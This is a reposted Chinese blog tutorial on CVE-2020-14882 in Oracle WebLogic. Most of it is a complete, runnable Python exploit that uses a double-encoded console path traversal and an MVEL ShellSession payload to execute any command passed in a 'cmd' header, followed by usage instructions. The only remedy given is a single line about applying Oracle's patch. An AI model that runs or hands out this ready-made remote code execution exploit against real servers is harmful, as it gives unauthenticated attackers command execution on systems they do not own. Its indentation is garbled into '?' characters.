weblogic未授权命令执行漏洞(CVE-2020-14882)

发布时间:2023年12月28日

漏洞描述:

未经身份验证的远程攻击者可能通过构造特殊的 HTTP GET请求,利用该漏洞在受影响的?weblogic?Server 上执行任意代码。

复现过程:

1.访问ip:port/console

2.poc构造

#!/usr/bin/env python3

# -*- coding: utf-8 -*-

# author: zhzyker

# from: https://github.com/zhzyker/vulmap

# from: https://github.com/zhzyker/exphub

import http.client

import requests

import sys

import argparse

http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0'

payload_cve_2020_14882_v12 = ('_nfpb=true&_pageLabel=&handle='

????????????'com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = '

????????????'(weblogic.work.ExecuteThread) Thread.currentThread(); weblogic.work.WorkAdapter adapter = '

????????????'executeThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField'

????????????'("connectionHandler"); field.setAccessible(true); Object obj = field.get(adapter); weblogic.servlet'

????????????'.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) '

????????????'obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd"); '

????????????'String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]'

????????????'{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd}; if (cmd != null) { String result '

????????????'= new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter'

????????????'("\\\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.'

????????????'ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);'

????????????'res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));'

????????????'res.getServletOutputStream().flush(); res.getWriter().write(""); }executeThread.interrupt(); ");')

def cve_2020_14882(url, cmd):

????payload = payload_cve_2020_14882_v12

????path = "/console/css/%252e%252e%252fconsole.portal"

????headers = {

????????'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36',

????????'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,'

??????????????????'application/signed-exchange;v=b3;q=0.9',

????????'Accept-Encoding': 'gzip, deflate',

????????'Accept-Language': 'zh-CN,zh;q=0.9',

????????'Connection': 'close',

????????'Content-Type': 'application/x-www-form-urlencoded',

????????'cmd': cmd

????}

????try:

????????request = requests.post(url + path, data=payload, headers=headers, timeout=10, verify=False)

????????print(request.text)

????except Exception as error:

????????print("[-] Vuln Check Failed... ...")

????????print("[-] More Weblogic vulnerabilities in https://github.com/zhzyker/vulmap")

if __name__ == '__main__':

????parser = argparse.ArgumentParser(description='Weblogic cve-2020-14882',

?????????????????????????????????????usage='use "python %(prog)s --help" for more information',

?????????????????????????????????????formatter_class=argparse.RawTextHelpFormatter)

????parser.add_argument("-u", "--url",

????????????????????????dest="url",

????????????????????????help="target url (http://ip:port/)"

????????????????????????)

????parser.add_argument("-c", "--cmd",

????????????????????????dest="cmd",

????????????????????????help="command"

????????????????????????)

????args = parser.parse_args()

????if not args.url or not args.cmd:

????????sys.exit('[*] Please assign url and cmd! \n[*] Examples python cve-2020-14882_rce.py -u http://ip:port/ -c whoami')

????cve_2020_14882(args.url, args.cmd)

3.运行poc

python poc.py?-u http://ip:port/ -c 命令

修复建议:

此次 Oracle 官方的 CPU已发布了针对该漏洞的补丁,请受影响用户及时下载补丁程序并安装更新。

文章来源:https://blog.csdn.net/m0_65150886/article/details/135248720
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。